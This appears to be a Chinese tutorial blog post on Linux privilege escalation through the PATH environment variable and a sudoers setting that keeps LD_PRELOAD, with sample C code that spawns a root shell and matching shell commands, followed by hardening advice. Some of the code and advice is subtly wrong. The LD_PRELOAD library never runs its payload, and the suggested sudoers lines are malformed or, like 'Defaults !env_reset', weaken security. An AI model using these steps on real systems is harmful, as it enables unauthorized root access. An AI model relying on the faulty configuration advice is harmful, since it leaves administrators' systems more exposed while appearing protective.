当前位置: 首页 > news >正文

linux利用环境变量提权以及如何防范

案例:利用 PATH 环境变量进行提权

背景

假设在一个 Linux 系统中,用户 attacker 发现了一个具有 setuid 位的程序 sensitive_program,该程序具有 root 权限。sensitive_program 在运行时会执行一些命令。

攻击步骤
  1. 创建恶意程序
    攻击者创建一个恶意程序 malicious_program,该程序会在执行时获取 root 权限。

    // malicious_program.c
    #include <unistd.h>int main() {setuid(0);  // 获取 root 权限system("/bin/bash");  // 执行 shellreturn 0;
    }
    

    编译生成可执行文件:

    gcc -o malicious_program malicious_program.c
    
  2. 设置 PATH 环境变量
    攻击者将恶意程序的路径添加到 PATH 环境变量的最前面。

    export PATH=/path/to/malicious:$PATH
    
  3. 执行 setuid 程序
    攻击者执行 sensitive_program,由于 PATH 环境变量的设置,程序会优先执行 malicious_program,从而获得 root 权限。

    ./sensitive_program some_command
    
防范措施
  1. 限制 PATH 环境变量的修改权限
    /etc/sudoers 文件中配置,限制用户对 PATH 环境变量的修改权限。

    Defaults !env_reset
    Defaults !env_keep += "PATH"
    
  2. 使用安全工具
    使用 SELinux 或 AppArmor 等安全工具限制程序的行为,防止恶意代码的执行。

  3. 定期审查和更新配置
    定期审查系统和应用程序的配置,确保没有不必要的环境变量设置。

案例:利用 sudoers 文件中的环境变量配置进行提权

背景

假设在一个 Linux 系统中,/etc/sudoers 文件中配置了允许用户在 sudo 命令中保留 LD_PRELOAD 环境变量。

Defaults env_keep += "LD_PRELOAD"
攻击步骤
  1. 创建恶意共享库
    攻击者创建一个恶意共享库 malicious.so,其中包含一个函数 vuln_function,该函数会在程序运行时执行任意代码。

    // malicious.c
    #include <stdio.h>
    #include <unistd.h>void vuln_function() {system("/bin/bash");  // 执行 shell
    }
    

    编译生成共享库:

    gcc -shared -fPIC -o malicious.so malicious.c
    
  2. 设置 LD_PRELOAD 环境变量
    攻击者设置 LD_PRELOAD 环境变量,指向恶意共享库。

    export LD_PRELOAD=/path/to/malicious.so
    
  3. 执行 sudo 命令
    攻击者执行 sudo 命令,由于 LD_PRELOAD 环境变量被保留,恶意共享库会被加载,从而执行 vuln_function 函数,获得 root 权限。

    sudo sensitive_program
    
防范措施
  1. 谨慎配置 /etc/sudoers 文件
    /etc/sudoers 文件中谨慎配置 env_keep 选项,确保只保留必要的环境变量。

    Defaults env_keep += "PATH"
    
  2. 使用安全工具
    使用 SELinux 或 AppArmor 等安全工具限制程序的行为,防止恶意代码的执行。

  3. 定期审查和更新配置
    定期审查系统和应用程序的配置,确保没有不必要的环境变量设置。

通过这些防范措施,可以有效地减少利用环境变量进行提权的风险,提高系统的安全性。


http://www.mrgr.cn/news/66993.html

相关文章:

  • 动态规划 之 斐波那契数列模型 算法专题
  • 【用Rust写CAD】第二章 第二节 函数
  • 微服务中常用分布式锁原理及执行流程
  • Linux 经典面试八股文
  • 网络信息系统的整个生命周期
  • 多态的内容
  • 基本开关电源电路分析
  • Axure设计之三级联动选择器教程(中继器)
  • 大家知道输电线路微风振动在线监测有哪些先进技术?
  • docker 入门教程
  • 什么是广告联盟?
  • ABC378
  • 字段值为null就不返回的注解
  • 运动控制 编码器测速
  • JDK 安装、环境变量配置、nano 和 vim 的使用
  • 技术总结(二十一)
  • 2024毕业论文攻略:AI工具能为你带来哪些惊喜?
  • Halcon 从XML中读取配置参数
  • 聊一聊SpringBoot的自动装配原理
  • 去除人声的利器:消音伴奏软件合集
  • AB 罗克韦尔模块 SD3K2004K
  • img图片为null或错误时替换为静态图片
  • 项目范围产品范围
  • C++ 项目中使用 .dll 和 .def 文件的操作指南
  • watch与computed的区别、运用的场景
  • PCIe板卡的标准尺寸介绍